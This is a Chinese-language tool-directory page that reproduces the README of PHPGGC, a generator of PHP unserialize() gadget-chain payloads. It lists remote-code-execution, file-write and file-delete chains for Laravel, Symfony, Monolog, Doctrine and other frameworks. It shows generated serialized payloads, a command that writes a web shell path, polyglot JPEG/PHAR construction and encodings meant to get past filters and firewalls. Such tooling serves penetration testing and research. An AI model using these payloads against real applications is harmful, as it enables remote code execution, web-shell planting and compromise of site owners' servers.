Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
phpggc — PHPGGC 是一个 PHP unserialize() 载荷库,附带一个工具,可通过命令行或以编程方式生成这些载荷。 | Kitploit
工具/GitHubGitHub/ambionics/phpggc
漏洞利用框架Payload生成漏洞利用Web应用程序漏洞利用
GitHubambionics/phpggc

phpggc

PHPGGC 是一个 PHP unserialize() 载荷库,附带一个工具,可通过命令行或以编程方式生成这些载荷。

查看仓库网站
3.9k559611个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PHPGGC:PHP 通用小工具链

PHPGGC 是一个 unserialize() 载荷库,附带一个可从命令行或以编程方式生成载荷的工具。 当你在没有源代码的网站上遇到 unserialize,或者只是想构建漏洞利用程序时,这个工具可以让你无需经历寻找小工具并将其组合的繁琐步骤,即可生成载荷。它可以被看作是 frohoff 的 ysoserial 的 PHP 等价物。 目前,该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework。

环境要求

运行 PHPGGC 需要 PHP >= 5.6。

用法

运行 ./phpggc -l 可获取小工具链列表:

root@kitploit:~
$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                   RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

筛选小工具链:

root@kitploit:~
$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

每个小工具链包含:

  • 名称:框架/库的名称
  • 版本:小工具所适用的框架/库的版本
  • 类型:利用类型:RCE、文件写入、文件读取、包含等
  • 向量:在 unserialize 之后触发链的向量(__destruct()、__toString()、offsetGet() 等)
  • 信息:关于该链的其他信息

使用 -i 获取某个链的详细信息:

root@kitploit:~
$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

对于 RCE 小工具,根据小工具的工作方式,执行的命令可以有 3 种格式类型:

  • RCE(命令):./phpggc Symfony/RCE1 id
  • RCE(PHP 代码):./phpggc Symfony/RCE2 'phpinfo();'
  • RCE(函数调用):./phpggc Symfony/RCE4 system id

选择好链后,运行 ./phpggc <gadget-chain> [parameters] 即可获得载荷。 例如,要为 Monolog 生成载荷,可以这样做:

root@kitploit:~
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

要使用 SwiftMailer 进行文件写入,可以这样做:

root@kitploit:~
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

包装器

--wrapper(-w)选项允许你定义一个包含以下函数的 PHP 文件:

  • process_parameters(array $parameters):在 generate() 之前调用,允许修改参数
  • process_object(object $object):在 serialize() 之前调用,允许修改对象
  • process_serialized(string $serialized):在 serialize() 之后调用,允许修改序列化后的字符串

例如,如果存在漏洞的代码看起来像这样:

root@kitploit:~
<?php
$data = unserialize($_GET['data']);
print $data['message'];

你可以使用 __toString() 链,并像这样进行包装:

root@kitploit:~
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

然后你可以像这样调用 phpggc:

root@kitploit:~
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

历史

在 2018 年 BlackHat US 大会上,@s_n_t 发布了 PHARGGC,它是 PHPGGC 的一个分支,不构建序列化载荷,而是构建一个完整的 PHAR 文件。该 PHAR 文件包含序列化数据,因此可用于各种利用技术(file_exists、fopen 等)。论文在这里。

实现

PHAR 归档有三种不同的格式:PHAR、TAR 和 ZIP。PHPGGC 支持这三种格式。 可以使用 --phar-jpeg(-pj)生成多语言(polyglot)文件。还提供其他选项(使用 -h 查看)。

示例

root@kitploit:~
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

编码器

参数允许修改载荷的输出方式。例如,-u 会对载荷进行 URL 编码,-b 会将其转换为 base64。 载荷通常包含 NULL 字节,无法直接复制/粘贴。使用 -s 进行软 URL 编码,可使载荷保持可读。

编码器可以串联使用,因此顺序很重要。例如,./phpggc -b -u -u slim/rce1 system id 会先将载荷进行 base64 编码,再进行两次 URL 编码。

高级:增强功能

快速析构

PHPGGC 实现了一个 --fast-destruct(-f)标志,可确保你的序列化对象在 unserialize() 调用后立即被销毁,而不是在脚本结束时。我建议对每个 __destruct 向量都使用它,因为它能提高可靠性。例如,如果 PHP 脚本在调用之后抛出异常,你的对象的 __destruct 方法可能不会被调用。由于它与编码器同时处理,因此需要先设置它。

root@kitploit:~
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII 字符串

使用 S 序列化格式代替标准的 s。这会将每个非 ASCII 字符替换为十六进制表示: s:5:\"A<null_byte>B<cr><lf>\";̀ -> S:5:\"A\\00B\\09\\0D\"; 当出于某种原因不允许使用非 ASCII 字符(例如 NULL BYTE)时,这会很有用。由于载荷通常包含这些字符,因此这可以确保载荷仅由 ASCII 值组成。 注意:这是实验性功能,在某些情况下可能无法正常工作。

Armor 字符串

使用 S 序列化格式代替标准的 s。这会将每个字符替换为十六进制表示: s:5:\"A<null_byte>B<cr><lf>\";̀ -> S:5:\"\\41\\00\\42\\09\\0D\"; 当防火墙或 PHP 代码阻止字符串时,这会派上用场。 注意:这是实验性功能,在某些情况下可能无法正常工作。 注意:这会使载荷中的每个字符串体积增大 3 倍。

数字加号

有时,PHP 脚本会使用诸如 /O:[0-9]+: 之类的正则表达式来验证给定的序列化载荷中不包含对象。使用 O:+123:... 代替 O:123: 即可轻松绕过。可以使用 --plus-numbers <types> 或 -n <types> 自动在符号前添加这些 + 号。 例如,要混淆对象和字符串,可以使用:--n Os。请注意,自 PHP 7.2 起,只有 i 和 d(浮点)类型可以带有 +。

公共属性

尝试将序列化载荷中对受保护或私有属性的引用转换为公共属性。 这可能很有用,因为当 PHP 序列化对象的非公共属性时,它会在属性名前加上星号(用于受保护属性)或类名(用于私有属性),并用 NULL 字节包围。如果载荷以未编码的纯文本形式传输或存储,这些 NULL 字节很容易丢失。如果发生这种情况,载荷将无法反序列化,因为属性名的字符串长度(以及名称本身)将不正确。 额外的好处是,去掉这些前缀后,载荷会略微变小。将属性转换为公共属性在较新的 PHP 版本中通常有效,但在较旧版本(PHP 7.2 之前)中可能会引起问题。 如果链中包含一个或多个具有自定义 serialize / unserialize 实现的对象,此功能可能无法正常工作。

测试你的小工具链

要测试你想使用的小工具链在目标环境中是否有效,请切换到你的环境文件夹,并在不带参数的情况下使用 --test-payload 选项运行该链。

例如,要测试 Monolog/RCE2 是否能在 Symfony 4.x 上运行:

root@kitploit:~
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

如果载荷被触发,退出代码为 0,否则为 1。

针对包的所有版本测试你的小工具链

如果你想知道一个小工具链适用于某个包的哪些版本,可以使用 test-gc-compatibility.py。

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

你可以使用以下语法指定要测试的版本。

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

API

除了将 PHPGGC 用作命令行工具之外,你还可以编写 PHP 脚本:

root@kitploit:~
<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

这使你可以更轻松地调整参数或编写漏洞利用代码。 注意:目前这还相当实验性,请报告遇到的错误。

贡献

非常欢迎提交 Pull Request。请遵循以下简单准则:

  • __destruct() 始终是最好的向量
  • 至少指明你构建载荷所基于的库的版本
  • 如果未使用的参数保持其默认值,请不要将它们包含在小工具定义中。这只会让载荷变得更大。
  • 尊重代码风格:例如,左花括号 { 应放在新行,数组应写成 [1, 2, 3],而不是旧的 array(1, 2, 3) 表示法。

从代码角度看,目录结构相当简单明了:小工具位于 gadgets.php 中,描述和逻辑位于 chain.php 中。 如果参数需要修改,你可以定义预处理和后处理方法。 希望已经实现的小工具足以让你构建自己的小工具。 否则,我很乐意回答你的问题。

请尽可能多地测试版本。版本的命名规则如下:[-]<lower-version> <= <higher-version>[+]。- 和 + 号分别表示你的载荷可能适用于更低和更高的版本。例如,如果你的小工具链适用于 2.0.0 到 4.4.1(当时的最新版本)版本,请使用 2.0.0 <= 4.4.1+。

可以使用 --new <framework> <type> 命令行选项为新小工具链创建目录和文件结构。 例如,使用 ./phpggc -n Drupal RCE 将创建一个新的 Drupal RCE 小工具链。

Docker

如果你不想安装 PHP,可以使用以下命令构建 Docker 镜像:

root@kitploit:~
$ docker build . -t 'phpggc'

然后你可以使用 Docker 化的 phpggc。

生成小工具链

root@kitploit:~
$ docker run phpggc Monolog/rce1 'system' 'id'

测试小工具链

切换到你的环境文件夹,并在不带参数的情况下使用 --test-payload 选项运行该链:

root@kitploit:~
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload

生成 phar / 多语言文件

注意:该命令必须在输入图像所在的目录中执行。

root@kitploit:~
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id

运行 test-gc-compatibility.py

root@kitploit:~
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2                      │   OK    │      OK       │      OK       │
│ 2.7.2                    │   OK    │      OK       │      KO       │
└──────────────────────────┴─────────┴───────────────┴───────────────┘

许可证

Apache License 2.0

下载工具